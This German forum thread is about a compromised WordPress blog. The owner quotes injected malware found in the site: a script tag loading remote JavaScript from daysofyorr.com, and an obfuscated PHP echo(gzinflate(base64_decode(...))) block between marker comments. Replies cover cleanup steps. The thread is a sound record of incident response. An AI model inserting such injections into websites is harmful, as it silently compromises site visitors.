Feedcodefehler | daysofyorr.com/release.js

  • Hallo,

    seit heute Morgen funktioniert der Feed meines Blogs http://www.langweileDich.net/ nicht mehr. Das hängt anscheinend mit einem Script zusammen, dass aus welchen Gründen auch immer plötzlich im Quellcode zu finden ist.

    Zitat


    FEEDCODEFEHLER

    In einem XML-Dokument ist nur ein Element höchster Ebene zugelassen.
    Zeile: 267 Zeichen: 2
    <script type="text/javascript" src="http://www.daysofyorr.com/release.js"></script>



    Das besagte Script ist ganz unten im Quellcode, noch nach dem schließenden </html>-Tag zu finden.

    Meine Recherche hat bislang nur ergeben, dass das Ding bei massenhaft Seiten bereits vertreten ist. Eine Lösung habe ich jedoch noch nicht ausmachen können.

    Hat jemand von euch eine Idee, woran das liegen kann? Muss das unbedingt raus haben, nicht zuletzt, damit der Feed wieder funktioniert...

    • Anzeige

    Hallo!

    Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

    • ✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
    • ✔️ Deutsche Server & DSGVO-konform
    • ✔️ Persönlicher Support (kein 0815-Ticket-System)

    Mehr erfahren

  • Sieht nicht so gesund aus... Würde mal prüfen, welche Dateien Deines Blogs mit diesem Code infiziert sind. Könnte sein, dass der durch ein Plugin reinkommt. Eventuell wird das auch über die Datenbank eingeschleust. Den Blog würde ich erstmal auf Standby setzen und nach möglichen Angriffen durchsuchen u. ggf. bereinigen.

  • Habe doch tatsächlich den Code entfernen können. Anscheinend gab es gestern Abend einen "Angriff". Jedenfalls waren überall Einträge in dieser Form zu finden:

    Zitat


    #b58b6f#
    echo(gzinflate(base64_decode("JctRCoAgDADQq8gO4P5DvcuwRUmhbKPl7fvw98FLWuUaFmwOzmD8GTZ6aSkElZrhNBsborvHnab2Y3aRWPuDwjeTcmwKJeFK5Qc=")));
    #/b58b6f#



    Alles entfernt, Backup gemacht, Passwörter ausgetauscht, Daten aufgeräumt. Feed funktioniert jedenfalls jetzt wieder, hoffen wir, dass es das war.

  • Fantastisch... Wenn ihr der Meinung seid, dass euer Blog mit nem Virus infiziert wurde, dann posted den Link bitte nicht gleich am Anfang des Beitrags, oder noch besser erst gar nicht, oder nur in Textform...

    Zum Thema "Silence is golden", was dort auf dem anderen Link als Kommentar des Angreifers dargestellt wird: Schaut euch mal bitte die Originaldateien an. Das wird von WP so ausgeliefert.

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!